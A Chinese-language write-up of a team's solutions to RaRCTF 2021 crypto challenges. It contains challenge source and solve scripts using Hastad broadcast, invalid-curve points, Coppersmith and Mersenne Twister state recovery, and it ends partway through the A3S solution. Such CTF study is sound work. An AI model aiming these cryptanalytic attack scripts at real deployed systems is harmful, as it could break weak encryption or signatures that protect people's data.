這次和 NCtfU 的幾個人一起參加了 RaRCTF 2021 拿到了第三名，我拿下的 flag 主要都是 web & crypto 的題目，還有一題 rev。不過其他類別的簡單題目我有解的也會寫一些。

crypto#

minigen#

此題的 source code:

exec('def f(x):'+'yield((x:=-~x)*x+-~-x)%727;'*100)
g=f(id(f));print(*map(lambda c:ord(c)^next(g),list(open('f').read())))

可以看出它是用 id(f) 作為 seed 的一個亂數生成器，裡面用一些 bit 運算和 xor 去生成，然後輸出 key stream 和 flag 的 xor 結果。

關鍵在於 python 的 ~x 是 -1-x，所以 -~x 和 ~-x 分別是 x+1 和 x-1，然後用 mod 的性質可知 f(x) == f(x + 727)，因此直接暴力搜 x 的值然後輸出看看是不是 flag 即可。

exec("def f(x):" + "yield((x:=-~x)*x+-~-x)%727;" * 100)

# fmt: off
ar = [281, 547, 54, 380, 392, 98, 158, 440, 724, 218, 406, 672, 193, 457, 694, 208, 455, 745, 196, 450, 724]
# fmt: on

for i in range(727):
    g = f(i)
    s = "".join(map(lambda c: chr(c ^ next(g)), ar))
    if "rarctf" in s:
        print(s)

sRSA#

用了看起來像是 RSA 的方法把 flag 加密了，不過它加密的地方是用 $c \equiv me \pmod{n}$ 而不是 $c \equiv m^e \pmod{n}$，所以簡單的模反運算就能求出 flag 了。

from Crypto.Util.number import *

n = 5496273377454199065242669248583423666922734652724977923256519661692097814683426757178129328854814879115976202924927868808744465886633837487140240744798219
e = 431136
ct = 3258949841055516264978851602001574678758659990591377418619956168981354029697501692633419406607677808798749678532871833190946495336912907920485168329153735

flag = (inverse(e, n) * ct) % n
print(long_to_bytes(flag))

unrandompad#

題目每次連線時會生成一個 RSA 的 $n$，而 $e=3$。server 可以做兩件事:

1. 輸出加密過的 flag
2. 輸入 message 進去輸出密文 $m^e \mod {n}$

雖然它加密的地方有個看起來像是有 padding，但仔細一看會發現根本沒有:

def encrypt(m, e, n): # standard rsa
  res = pad(m, n)
  if res != -1:
    print(f"c: {pow(m, e, n)}")
  else:
    print("error :(", "message too long")

所以就連線三次拿到用三個不同的 $n_1, n_2, n_3$ 加密過的 flag，然後用 Hastad Broadcast Attack 即可。

from Crypto.Util.number import *

e = 3
n1 = 16970885632571038154066623391234201125155702089121576538840593499372396369100528376694497439151429542465496206899547547510916886479286308090719287906691384016524372039756391840094100378457830378154903624219290887431142516955715725281031263533987296823713371920826667814676653028388815205120333567245303691587198998830095030660902687598314704565233639236204907708496394598018342673600918918591978338996826637260857713474539043892369700376389443069501528290734637781677139994867353472179740834168878126167060959417457770115225740945780246668270525995678016544634364994306165749003403906921828918355938461674014970626351
c1 = 74121005500491571244189962266093170881441737665147084155231422315541816151721278091812443368963839819993484754732138289666495365042507468631832982412631929285676912010986845939691080486797942798540801591515103728970588639712370622459194392496292882258873188659641335626101822369446189717939256310505569467310117093501195633994277790308707685647171633782958484406685290585057799594898831711830854687538081316239819139776957770837020002846650373628376042013860001257937897293253626480609042675643410450066894476315826529816780533710629437175089148546770607288042121926748526764741883964395415441691431615911843505457
n2 = 12563818116700089143171081835527779862004077313247476625043219234048586783906451726232993782690155770295449979448242011976008690907501979980955831862827767765240311362303203240065192407966001872247921503110779090833390162306782781836846831842313227340723516206163649426503434786388989465189674850244585796825740012112634075106106853268911456173669634158290489305346512086561754796179950126822926770104583093094911050893446864099988324099759289942441194917383465723153725472663078961512564861798905960387287900131119572921259148933525183525029788696040304701939085223201442693629515707908301967882888093220649564144217
c2 = 8444975393993411470870741609248326767991815941831882735141257937279216612691515476733144492443265118619423157841862790382516101577642463397808607827907768448927305791945679340286563428448567037192028971561970557961689221429764290937649008374609849192827587336488909480168942128445392983602174509579246623943870573440159125097240914873690438654059735679886627869793541990557081255663240901492112673641412782977721054509646358431012482186203465632133478366860725443559025212878876211407940429747966589924409606136557309556363266839399199538757877439261809129349810331050642182936658530913324055684974888277640856016879
n3 = 11880318885878953680008578951549680898650928268426297448388375421037601745848647498389366862838598835327966786502089059869773540529113012801830059008199290500295041739761756537734392115209439146743663130815999501816379497204888046503895240293306464643844352151395501298993560611490277376582145609459924445368601478326363081379951190435664222954832325478306861592911069962008869920321020638361278810256511310302650395971281082265274597837884102018993938462698277862844165220894901062234339077328934397645547809999188882260915601376613199883036974972022352810153534114318324236462589748233081087878593995926429941025373
c3 = 1921812489246817701492533802260965671724907292422594067839592774675313962181858692284667040828764455141620238996009971999638090849897689623039333588054043002795178949130794159211855017987894784523526269284492381126464039816754054581341035314659514572978432981856826808012322587529244638897925070270241120712231622322531676819581562827782663947969243926243833817578005426191483344048779307155993178874558798822333615097484926769306568757801505457973361255303900593523078806411688130194516317244133251365514509406994108494729685280066300579191889365741626485854036825940860809190299426254267055297864016760888000739376


def hastad_broadcast(ns, cs):
    assert len(ns) == len(cs)
    x = crt(cs, ns)
    try:
        return x.nth_root(len(ns))
    except:
        pass


print(long_to_bytes(hastad_broadcast([n1, n2, n3], [c1, c2, c3])))

Shamir's Stingy Sharing#

題目有個隨機生成的多項式 $f(x)=a_0+a_1x+\cdots+a_nx^n$，其中 $0 \leq a_i \le 2^{128}$，它拿 $a_0$ 當作 random seed 之後生成隨機數和 flag xor 加密。之後允許你輸入一個 $x>0$，它會計算 $f(x)$ 的結果給你。

它限制 $x>0$ 是因為 $a_0=f(0)$，避免你使用這個相當顯然方法去取得 $a_0$。

解法是注意到它這個多項式其實就像是 x 進位的數字一樣，所以選個 $x \geq 2^{128}$ 輸入進去，然後把回傳的數字以 x 進位表示就能得到多項式的所有係數了。如果只要 $a_0$ 的話就取 $f(x) \equiv a_0 \pmod{x}$ 即可。

from Crypto.Util.number import *
import random

m = 2 ** 128
# k = poly(m)
k = 810916495944689153065650766674733722468567056295606418678875687865804592505164193676332954839966512410183116799469963505936830887073806429449899839158437927046535192749352898856385350533884645894370308081274311812626469651470193774605401939192242970869348563062851529130505503249389171213427012824392105372954401293046453015479860725353228076966754406344438833462245983324456569270125201287733127134945783179157308491792991629649483898995625879506039597592845544245477153470519780981128613608691404896751283321275207447589867233227658156131726802867264674578362936621680865343310397376399754187186933579482242707208271494305085721454818703708677308306732333815908314217270897464983373034793568099587924311230978249627949682975646531849742193278566812285716251119361850455987377270814634648055428832540381702534518498669611228343620705823123100152179546248902199629883353690335617951090393790507792642793354122572243317050491920800125247523158607753801698583460043166870741557545630989147415651788655442359097144994912160026899264091477923766654076941056939289704289182502940886345286785707107360383872767972269772271605115243540907703892530601675247946954
ef = bytes.fromhex("dc4bb6ea075c7a31c0fae5d75eab2b195e55677eebe17d6e82c8c05059cd06")


def xor(x, y):
    return bytes(a ^ b for a, b in zip(x, y))


random.seed(k % m)
print(xor(ef, long_to_bytes(random.getrandbits(len(ef) * 8))))

babycrypt#

此題是正常的 RSA 加密，其中的 $q \leq p$。它另外有給一個 hint 的值 $h=n \mod {q-1}$。

觀察 hint 的值可以發現:

不過由於 $q \leq p$，所以從 $h \neq p$。但是因為 $p, q$ 其實是 balanced 的，都差不多是 $2^{256}$ 左右，所以可以合理猜測 $h=p-(q-1)$，然後得到 $p-q=h-1$。

現在有了 $n=pq$ 和 $p-q=h-1$，回顧一下高中數學可以想到下面這個多項式有兩根 $p, q$，把它解出來就可以了:

from Crypto.Util.number import *

e, n = (
    65537,
    6210693056412045637179224428919815807158265614608341710263430334710037562322509904161915165376921716354954625000448127610978654927066583836381751140468619,
)
c = 5663652339377255142590939566987950968999780743579001938933946766837828274115738643463551211136141861843398927369696581021679151388477233896478453786262487
h = 35401087213337807987229693950510775432944123318864854375881363416778434247319

P = PolynomialRing(ZZ, "x")
x = P.gen()
f = x ** 2 + (h - 1) * x - n
rs = f.roots()
p = rs[0][0]
assert n % p == 0
q = n // p
d = inverse_mod(e, (p - 1) * (q - 1))
m = power_mod(c, d, n)
print(long_to_bytes(m))

rotoRSA#

source code:

from sympy import poly, symbols
from collections import deque
import Crypto.Random.random as random
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes

def build_poly(coeffs):
    x = symbols('x')
    return poly(sum(coeff * x ** i for i, coeff in enumerate(coeffs)))

def encrypt_msg(msg, poly, e, N):
    return long_to_bytes(pow(poly(msg), e, N)).hex()

p = getPrime(256)
q = getPrime(256)
N = p * q
e = 11

flag = bytes_to_long(open("/challenge/flag.txt", "rb").read())

coeffs = deque([random.randint(0, 128) for _ in range(16)])


welcome_message = f"""
Welcome to RotorSA!
With our state of the art encryption system, you have two options:
1. Encrypt a message
2. Get the encrypted flag
The current public key is
n = {N}
e = {e}
"""

print(welcome_message)

while True:
    padding = build_poly(coeffs)
    choice = int(input('What is your choice? '))
    if choice == 1:
        message = int(input('What is your message? '), 16)
        encrypted = encrypt_msg(message, padding, e, N)
        print(f'The encrypted message is {encrypted}')
    elif choice == 2:
        encrypted_flag = encrypt_msg(flag, padding, e, N)
        print(f'The encrypted flag is {encrypted_flag}')
    coeffs.rotate(1)

此題連線之後會隨機生成一組 RSA 的 $n$，而 $e=11$。另外它有個隨機生成的係數 $a_0 \cdots a_{15}$，其中 $0 \leq a_i \leq 128$。

接下來進一個 loop，每次都會先生成多項式 $f(x)=a_0+a_1x+\cdots+a_{15}x^{15}$，之後可以選擇加密自己選的 message 還是 flag，加密的方法是用 $c \equiv f(m)^e \pmod{n}$ 計算的。加密完之後它會把多項式的係數給 rorate 一次。

首先是可注意到 $f(0)=a_0$，所以 $c \equiv f(0)^e \equiv a_0^e \pmod{n}$，再來因為 $a_0^e$ 比 $n$ 還小，所以開 11 次根號即可取得 $a_0$。因此利用這個性質先加密 16 次 $m=0$ 就可以取得多項式的所有係數。

要注意一下取得的係數的順序會是: $a_0, a_{15}, a_{14}, \cdots, a_{1}$

現在已經取得了多項式的係數，設 flag 為 $s$，連續加密兩次之後會得到 $f(x)^e-c_{1}$ 和 $f'(x)^e-c_{2}$ 兩個多項式有共同的根 $s$，所以兩個多項式取 gcd 就會找到一項 $(x-s)$，然後就拿到 flag 了。

$f'(x)$ 指的是 rotate 過的多項式

從 server 取得多項式係數與加密過的 flag 的腳本:

from pwn import remote
from gmpy2 import iroot

io = remote("193.57.159.27", 37920)

io.recvuntil(b"n = ")
n = int(io.recvlineS().strip())
e = 11
print(f"{n = }")
print(f"{e = }")


def get_enc(m):
    io.sendlineafter(b"What is your choice?", b"1")
    io.sendlineafter(b"What is your message?", hex(m).encode())
    io.recvuntil(b"The encrypted message is ")
    return int(io.recvlineS().strip(), 16)


def get_c():
    io.sendlineafter(b"What is your choice?", b"2")
    io.recvuntil(b"The encrypted flag is ")
    return int(io.recvlineS().strip(), 16)


coefs = []
for i in range(16):
    coefs.append(int(iroot(get_enc(0), 11)[0]))
coefs = [coefs[0]] + coefs[1:][::-1]  # fix rorate
print(f"{coefs = }")


cs = []
for i in range(16):
    cs.append(get_c())
print(f"{cs = }")

根據取得的係數去解的腳本:

from Crypto.Util.number import *
from collections import deque

# fmt: off
n = 10840980761643954496262504029624756073300412915849775522546269064496556018605157224230727832723654980446872782003945065989880612706940680962280176286395937
e = 11
coefs = [60, 105, 14, 39, 76, 64, 33, 20, 61, 89, 125, 6, 104, 90, 104, 43]
cs = [8691972597554011342505934263356742577403346444102457294943956556280555744149265980027869255464710169075662463125585125093176887313442526432991234394330762, 6835102289780017716656203536738992533500951149477559411273146405333842179937133002197679574104450545386128276197477116727094061256864806691298103906626123, 4196046192437430258793529660554224042688656584860277131295376524340672113605243234446210129774260808981676437480491874256083270592784047256602866092236388, 5253789997179017562280922268650008883523584955679547878576633021745417996771663496572721181911343432177051639199184866929404610766301323917648375057438586, 3812996511251794125508352549076542383709102036105441529457367064888362616295215272306529781070434104450761808764072253779306919866184005117433092362414373, 3089597905952179225567902837072967849508488705011563472091993621611960068856955883815773033622636946779564588609238932556079474437598646297362972146105812, 4153512796251170297672112374102440123862531460530309297142425094238908084079313779709603416181507477945446096584092805457093570991263719175304873825413527, 7278936317940986212100113321705184908963873342498695001649181074327960812318588312076476472838638172025087951258890495454649298037907680572378047381344896, 2139262021151505342830291713917130675742658041639085363927046166487775986543920857886002088559188812895577253543770043135302785662330261748101545835230270, 2964021835256747189222083763823803835836764003193753281620781207659007686150882924420579794891549549973398132830704197901678070501904779128679000859757343, 6120244859843475901630561351159510781099360695445189972271945981786925250181715178112008401486599351084507711425731890245059317294746250753911663535915110, 10737413294472457311774746536275472593768072276638335109355973965633712218935763834043478646310143544945572220529034344543400818603941562518951809614897921, 559950981954367707218173826725634350413952532504811308116817099542999576785810084929532120891041561969050631096848545233693168154030005934633428951568056, 7524021588949332451067441431944701933408856191757106972129074179312856600157685767365123461259409312258199519109804478925393685309031349708222023771268255, 10549936526846852574552160052996693496987477040705128648289047665436247368310002548866302858315736463152186749040266531326934630320496300173366839593375704, 9853045482188179825032374696533089230946833579828560143016749445902228987594493881876269136022549202216505835336876160137452724689985234987720224366134787]
# fmt: on

P = PolynomialRing(Zmod(n), "x", 1)
x = P.gen()
fs = []

coefss = deque(coefs)
for i in range(16):
    poly = sum(c * x ** i for i, c in enumerate(coefss))
    fs.append(poly ^ e - cs[i])
    coefss.rotate(1)

f = fs[0].gcd(fs[1])
m = -f[0]
print(long_to_bytes(m))

PsychECC#

這題要提供一個曲線上的點 $P$，然後它會隨機產生 $n$ 計算 $Q=nP$，然後要你猜 $Q$ 是多少，猜對就給 flag。這題使用了 P256 curve，是一條 prime order 的曲線，所以看起來沒辦法用 small subgroup 去攻擊。

關鍵在於它的橢圓曲縣是自己在純 python 簡單實作的，仔細看一下會發現它根本沒檢查你傳送過去的點有沒有在曲線上面。結合 Weierstrass form 的橢圓曲線 doubling formula 根本沒有使用到 $b$ 的這個事實，可以讓我們選任意一條 $y^2 \equiv x^3 + ax + k \pmod{p}$ 形式的曲線。

例如我取的是 $k=b+1$，可以發現這條曲線的 order 的 factors 中有 2 也有 3，可以做為目標。這邊要注意一下它 server 端的程式碼會檢查說你猜的點既不能是 $P$，也不能是無窮遠點 (INF)。所以選 subgroup size = 2 是行不通的，所以改用 3。

所以取新的曲線上的任意一點，然後乘 $\frac{\mathit{order}}{3}$ 之後如果不是 INF，就把它設為 $P$。然後要猜的點固定猜 $2P$，這樣成功的機率就有 $\frac{1}{3}$ 了。這是因為 $n \mod{3}$ 是 $0, 1, 2$ 的機率分別是 $\frac{1}{3}$。

p = 115792089210356248762697446949407573530086143415290314195533631308867097853951
a = -3
b = 41058363725152142129326129780047268409114441015993725554835256314039467401291

E = EllipticCurve(Zmod(p), [a, b + 1])
od = E.order()
while True:
    P = E.random_point() * (od // 3)
    if P != E(0, 1, 0):
        break
print(P)
print(P * 2)
print(P * 3)

# Submit this manually, success rate = 1/3
print(P.xy()[0])
print(P.xy()[1])
print((P * 2).xy()[0])
print((P * 2).xy()[1])

snore#

source code:

from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from hashlib import sha224
from random import randrange
import os

p = 148982911401264734500617017580518449923542719532318121475997727602675813514863
g = 2
assert isPrime(p//2) # safe prime

x = randrange(p)
y = pow(g, x, p)

def verify(s, e, msg):
  r_v = (pow(g, s, p) * pow(y, e, p)) % p
  return bytes_to_long(sha224(long_to_bytes(r_v) + msg).digest()) == e

def sign(msg, k):
  r = pow(g, k, p)
  e = bytes_to_long(sha224(long_to_bytes(r) + msg).digest()) % p
  s = (k - (x * e)) % (p - 1)
  return (s, e)

def xor(ba1,ba2):
  return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])

otp = os.urandom(32)

messages = [
  b"Never gonna give you up",
  b"Never gonna let you down",
  b"Never gonna run around and desert you",
  b"Never gonna make you cry",
  b"Never gonna say goodbye",
  b"Never gonna tell a lie and hurt you"
]

print("p = ", p)
print("g = ", g)
print("y = ", y)

for message in messages:
  k = bytes_to_long(xor(pad(message, 32)[::-1], otp)) # OTP secure
  s, e = sign(message, k % p)
  assert (verify(s, e, message))
  print(message, sign(message, k % p))
  
flag = open("flag.txt","rb").read()
key = sha224(long_to_bytes(x)).digest()[:16]
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ct = cipher.encrypt(pad(flag, 16)).hex()
print("ct = ", ct)
print("iv = ", iv.hex())

它先有個固定的參數 $g, p$，然後生成 private key & public key $x, y$。之後用 Schnorr signature 去 sign 那些固定的訊息並輸出，而 flag 是用 private derive 出來的 key 去 AES 加密的。

sign 的時候的 $k$ 是拿 pad 過的 message，和它一開始隨機生成的一個 otp 值去 xor 得到的，但是 xor 在 finite field 裡面也不知道要怎麼處裡。

我一開始有找到 Ethereum Bug Bounty Submission: Predictable ECDSA Nonce，裡面的 nonce 是拿訊息和 private key xor 之後得到的，可以用一些方法把它變成聯立方程式，在有 256 個 signature 的情況下可以恢復 private key。而這題是可以拿兩兩的 signature 把未知的 private key 給消除，之後理論上可以在 257 個 signature 的情況下恢復 otp 的值，但是這題沒辦法這樣做。

後來才發現到此題的關鍵是它的 messages 的一些結構，因為 len(message[0]) == len(message[4])，和 len(message[1]) == len(message[3])，所以 padding 的部份是兩兩相同的。再來是他們的訊息都是 Never gonna 開頭的，所以 pad 過的 messages 拿 $0, 4$ 和 $1, 3$ 兩組 xor 之後會發現只有不到 100 bits 的差別。然後因為 $m_i \oplus m_j = k_i \oplus k_j$，所以代表 $k_0$ 和 $k_4$ 的差別也只有不到 100 bits 而已，$k_1$ 和 $k_3$ 也是如此。

雖然它們的差是 xor 的關係，但可以用直接用加法表示兩者的差，即 $k_4=k_0+2^{96}d$ (假設 $k_4>k_0$)，另外 $k_3=k_1+2^{96}k$ (假設 $k_3>k_1$)，然後這樣可以列出四個式子:

這樣可以把第一和第四式消掉 $k_0$，而第二和第三式消掉 $k_1$，然後把得到的兩個式子結合之後再把 $x$ 消掉就會得到只有 $f(k,d)$ 的多項式了，其中的根都小於 $2^{100}$。所以這個時候用 coppersmith 就能找到它的對應的根了。

最後還有發現 $k_3>k_1$ 的假設是錯的，不過它還是有正確的找到需要的值，不過就算沒有的話也只是改一下正負符號的問題而已

from sage.all import *
from Crypto.Util.number import *
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
from hashlib import sha224
from sage.matrix.matrix2 import Matrix


def resultant(f1, f2, var):
    # Copied from https://jsur.in/posts/2021-07-19-google-ctf-2021-crypto-writeups#h1
    return Matrix.determinant(f1.sylvester_matrix(f2, var))


p = 148982911401264734500617017580518449923542719532318121475997727602675813514863
g = 2
y = 99943368625476277151400768907519717344447758596311103260066302523387843692499
sigs = [
    (
        82164720827627951718117576622367372918842412631288684063666489980382312886875,
        20555462814568596793812771425415543791560033744700837082533238767135,
    ),
    (
        121728190859093179709167853051428045020048650314914045286511335302789797110644,
        18832686601255134631820635660734300367214611070497673143677605724980,
    ),
    (
        146082371876690961814167471199278995325899717136850705507399907858041424152875,
        17280327447912166881602972638784747375738574870164428834607749483679,
    ),
    (
        70503066417308377066271947367911829721247208157460892633371511382189117698027,
        18679076989831101699209257375687089051054511859966345809079812661627,
    ),
    (
        129356717302185231616252962266443899346987025366769583013987552032290057284641,
        2084781842220461075274126508657531826108703724816608320266110772897,
    ),
    (
        12183293984655719933097345580162258768878646698567137931824149359927592074910,
        15768525934046641405375930988120401106067516205761039338919748323087,
    ),
]
ct = bytes.fromhex(
    "e426c232b20fc298fb4499a2fff2e248615a379c5bc1a7447531f8a66b13fb57e2cf334247a0589be816fc52d80c064b61fa60261e925beb34684655278955e0206709f95173ad292f5c60526363766061e37dd810ee69d1266cbe5124ae18978214e8b39089b31cad5fd91b9a99e344830b76d456bbf92b5585eebeaf85c990"
)
iv = bytes.fromhex("563391612e7c7d3e6bd03e1eaf76a0ba")


messages = [
    b"Never gonna give you up",
    b"Never gonna let you down",
    b"Never gonna run around and desert you",
    b"Never gonna make you cry",
    b"Never gonna say goodbye",
    b"Never gonna tell a lie and hurt you",
]

P = PolynomialRing(Zmod(p - 1), "x,k0,k1,k2,k3,k4,k5")
x, *ks = P.gens()
fs = []
ms = []
for i in range(6):
    s, e = sigs[i]
    fs.append(s - (ks[i] - x * e))
    ms.append(bytes_to_long(pad(messages[i], 32)[::-1][:32]))

Z = Zmod(p - 1)

s0, e0 = sigs[0]
s1, e1 = sigs[1]
s3, e3 = sigs[3]
s4, e4 = sigs[4]
P = PolynomialRing(Z, "k0,k1,k,d,x")
k0, k1, k, d, x = P.gens()
f0 = s0 - (k0 - x * e0)
f1 = s1 - (k1 - x * e1)
f3 = s3 - (k1 + 2 ** 96 * k - x * e3)
f4 = s4 - (k0 + 2 ** 96 * d - x * e4)

ff = resultant(f0, f4, k0)
gg = resultant(f1, f3, k1)
hh = resultant(ff, gg, x)

PP = PolynomialRing(Zmod(p // 2), "d,k")  # Zmod(p - 1) doesn't work for unknown reason
d, k = PP.gens()
hh = eval(str(hh))
load("~/workspace/coppersmith.sage")  # https://github.com/defund/coppersmith
dd, kk = small_roots(hh, (2 ** 100, 2 ** 100), m=7, d=2)[0]
print(dd, kk)
xx = Integer(ff.subs(d=dd).univariate_polynomial().roots()[0][0])
# There are two possible x because pow(g, p // 2, p) == 1
assert power_mod(g, xx, p) == y
assert power_mod(g, xx + p // 2, p) == y

key = sha224(long_to_bytes(xx + p // 2)).digest()[:16]
aes = AES.new(key, AES.MODE_CBC, iv)
print(unpad(aes.decrypt(ct), 16))

randompad#

這題是 unrandompad 的修正/加強版，source code:

from random import getrandbits
from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long

def keygen(): # normal rsa key generation
  primes = []
  e = 3
  for _ in range(2):
    while True:
      p = getPrime(1024)
      if (p - 1) % 3:
        break
    primes.append(p)
  return e, primes[0] * primes[1]

def pad(m, n): # pkcs#1 v1.5
  ms = long_to_bytes(m)
  ns = long_to_bytes(n)
  if len(ms) >= len(ns) - 11:
    return -1
  padlength = len(ns) - len(ms) - 3
  ps = long_to_bytes(getrandbits(padlength * 8)).rjust(padlength, b"\x00")
  return int.from_bytes(b"\x00\x02" + ps + b"\x00" + ms, "big")

def encrypt(m, e, n): # standard rsa
  res = pad(m, n)
  if res != -1:
    print(f"c: {pow(res, e, n)}")
  else:
    print("error :(", "message too long")

menu = """
[1] enc()
[2] enc(flag)
[3] quit
"""[1:]

e, n = keygen()
print(f"e: {e}")
print(f"n: {n}")
assert len(open("/challenge/flag.txt", "rb").read()) < 55

while True:
  try:
    print(menu)
    opt = input("opt: ")
    if opt == "1":
      encrypt(int(input("msg: ")), e, n)
    elif opt == "2":
      encrypt(bytes_to_long(open("/challenge/flag.txt", "rb").read()), e, n)
    elif opt == "3":
      print("bye")
      exit(0)
    else:
      print("idk")
  except Exception as e:
    print("error :(", e)

這題和 unrandompad 不同的地方就在於 encrypt 函數中加密的訊息是按照 pkcs#1 v1.5 去 pad 過的，padding 的部分都是隨機的。

題目的關鍵在於 from random import getrandbits，它使用的是 python 內建的 PRNG Mersenne Twister，代表如果有辦法取得 getrandbits 出來的值的話就有辦法預測隨機數了。

這邊可以先決定一個固定的 $m$，控制它的大小可以讓 padlength * 8 是 32 的倍數，這樣比較方便處裡。然後這樣因為有已知的 $m$ 所以可以用 coppersmith 算出 getrandbits(padlength * 8)，然後反覆蒐集直到超過 624 個 states 就可以還原出完整的狀態，然後預測未來的隨機數。

要做這件事需要看一下 python 內部的實現，在這個地方可以看到 getrandbits 內部的實現原理，可以知道它是透過反覆生成 32 bits 的數，然後從 LSB 開始填到 MSB，多餘的 bits 就 drop 掉，這也是前面之所以要控制長度為 32 的倍數的原因。

雖然說是 32 的倍數，但也不要設太大，不然 coppersmith 可能找不到那個 small root...，例如我用的是 256

因此就按照這個方法反覆蒐集 states，然後拿別人現成的 mersenne-twister-recover 來改，之後就可以預測出未來的 padding 的隨機值。

有了 padding 的隨機值之後還需要爆破一下 flag 的長度，用 coppersmith 去嘗試找到 flag 即可。

from sage.all import *
from random import Random
from Crypto.Util.number import long_to_bytes
from pwn import process, remote


# io = process(["python", "randompad.py"])
io = remote("193.57.159.27", 20873)
io.recvuntil(b"n: ")
e = 3
n = int(io.recvlineS().strip())


def encrypt(m, e, n):
    io.sendlineafter(b"opt: ", b"1")
    io.sendlineafter(b"msg: ", str(m).encode())
    io.recvuntil(b"c: ")
    return int(io.recvlineS().strip())


def encrypt_flag():
    io.sendlineafter(b"opt: ", b"2")
    io.recvuntil(b"c: ")
    return int(io.recvlineS().strip())


m = n // (2 ** (8 * 35))
assert len(long_to_bytes(n)) - len(long_to_bytes(m)) == 35


def getrand256bits():
    P = PolynomialRing(Zmod(n), "x")
    x = P.gen()
    f = (
        m
        + x * 2 ** (len(long_to_bytes(m)) * 8 + 8)
        + 2 * 2 ** (len(long_to_bytes(m)) * 8 + 8 + 32 * 8)
    ) ** e - encrypt(m, e, n)
    r = int(f.monic().small_roots()[0])
    print("r", r)
    return r


def to_chunks(n, b=32):
    ar = []
    while n > 0:
        ar.append(n & ((1 << b) - 1))
        n >>= b
    return ar


# Modified from https://github.com/eboda/mersenne-twister-recover
class MT19937Recover:
    """Reverses the Mersenne Twister based on 624 observed outputs.
    The internal state of a Mersenne Twister can be recovered by observing
    624 generated outputs of it. However, if those are not directly
    observed following a twist, another output is required to restore the
    internal index.
    See also https://en.wikipedia.org/wiki/Mersenne_Twister#Pseudocode .
    """

    def unshiftRight(self, x, shift):
        res = x
        for i in range(32):
            res = x ^ res >> shift
        return res

    def unshiftLeft(self, x, shift, mask):
        res = x
        for i in range(32):
            res = x ^ (res << shift & mask)
        return res

    def untemper(self, v):
        """Reverses the tempering which is applied to outputs of MT19937"""

        v = self.unshiftRight(v, 18)
        v = self.unshiftLeft(v, 15, 0xEFC60000)
        v = self.unshiftLeft(v, 7, 0x9D2C5680)
        v = self.unshiftRight(v, 11)
        return v

    def go(self, outputs, forward=True):
        """Reverses the Mersenne Twister based on 624 observed values.
        Args:
            outputs (List[int]): list of >= 624 observed outputs from the PRNG.
                However, >= 625 outputs are required to correctly recover
                the internal index.
            forward (bool): Forward internal state until all observed outputs
                are generated.
        Returns:
            Returns a random.Random() object.
        """

        result_state = None

        assert len(outputs) >= 624  # need at least 624 values

        ivals = []
        for i in range(624):
            ivals.append(self.untemper(outputs[i]))

        if len(outputs) >= 625:
            # We have additional outputs and can correctly
            # recover the internal index by bruteforce
            challenge = outputs[624]
            for i in range(1, 626):
                state = (3, tuple(ivals + [i]), None)
                r = Random()
                r.setstate(state)

                if challenge == r.getrandbits(32):
                    result_state = state
                    break
        else:
            # With only 624 outputs we assume they were the first observed 624
            # outputs after a twist -->  we set the internal index to 624.
            result_state = (3, tuple(ivals + [624]), None)

        rand = Random()
        rand.setstate(result_state)

        if forward:
            for i in range(624, len(outputs)):
                assert rand.getrandbits(32) == outputs[i]

        return rand


mt = MT19937Recover()
r = mt.go(sum([to_chunks(getrand256bits()) for _ in range(78)], []))


def copy_rnd(r):
    rr = Random()
    rr.setstate(r.getstate())
    return rr


cflag = encrypt_flag()
for i in range(15, 55):
    padlength = len(long_to_bytes(n)) - i - 3
    pd = copy_rnd(r).getrandbits(padlength * 8)
    P = PolynomialRing(Zmod(n), "x")
    x = P.gen()
    f = (x + pd * 2 ** (i * 8 + 8) + 2 * 2 ** (i * 8 + 8 + padlength * 8)) ** e - cflag
    rs = f.monic().small_roots()
    print(i, len(rs))
    if len(rs) == 0:
        continue
    flag = int(rs[0])
    print("flag", long_to_bytes(flag))
    break

# rarctf{but-th3y_t0ld_m3_th1s_p4dd1ng_w45-s3cur3!!}

*A3S#

這題我比賽中沒解出來，後來參考別人的 writeup 自己練習解的

參考的兩篇 writeup:

• https://jsur.in/posts/2021-08-10-rarctf-2021-a3s-writeup
• https://github.com/JuliaPoo/Collection-of-CTF-Writeups/tree/master/RARCTF-2021/A3S

這題的題目就是一個 3 進位的 AES，用了這些的名詞:

• Trit: 0, 1 或是 2
• Tryte: 三個 Trit
• Word: 三個 Tryte

一個 Tryte 是一個 $\mathbb{F}_{3^3} \cong \mathbb{F}_3[z]/(z^3+z^2+2)$ 的元素，例如 (1, 0, 2) 可以表示為 $1+2z^2$ 這樣。而它的一個 AES 的 block 是三個 Word，也就是九個 Tryte，可以想成是一個 3 x 3 的矩陣。

解法就那些 writeup 中所說的一樣，這題的弱點在於 SBOX 是 affine，也就是 $\mathit{SBOX}(x)=ax+b$ 的意思。其他的 mix columns 是矩陣乘法，而 shift rows 只是移位，而 add rounds key 是加法，當 SBOX 也是 affine 的時候整個 cipher 就能有很良好的性質能讓我們解出 key。

例如 SBOX 的前兩項 $6, 25$ 可以表示為 $2z, 1+2z+2z^2$，這代表的是:

所以可以很容易的知道 $\mathit{SBOX}(x)=(2z^2+1)x+2z$，剩下的項也能驗證看看，會發現都沒問題。

# define field
x = var("x")
F = GF(3 ** 3, "z", modulus=x ** 3 + x ** 2 + 2)
z = F.gen()

def to_field_el(n):
    # convert to an element in GF(3 ^ 3)
    if type(n) is int:
        assert n < 27
        n = int_to_tyt(n)[0]
    assert len(n) == 3
    return n[0] + z * n[1] + z * z * n[2]


def sbox(n):
    # affine transform
    return (2 * z * z + 1) * n + 2 * z


# sanity check for sbox
for x, y in enumerate(SBOX):
    # print(to_field_el(x), "->", to_field_el(y), "vs", sbox(to_field_el(x)))
    assert to_field_el(y) == sbox(to_field_el(x))

然後我們的目標是要解出 key，從 byt_to_int(key) 的長度之後它需要 75 個 Trytes 才行，所以就用 sage 定義 75 個未知數:

PF = PolynomialRing(F, "k", 75)
sym_keys = PF.gens()

接下來要稍微修改一下 expand 和 sub_wrd 函數讓它可以正常運作在 sym_keys 上面，這部分的程式碼就附在最後的程式裡面了。

接下來是要把 a3s 也改成可以運作在 sage 裡面的形式，為了方便所以中間的狀態都是表示為矩陣的形式:

def a3s(msg, key):
    M = bytes_to_mat(msg)
    keys = [Matrix(PF, up(k, 3, 0)) for k in expand(key)]
    assert len(keys) == KEYLEN

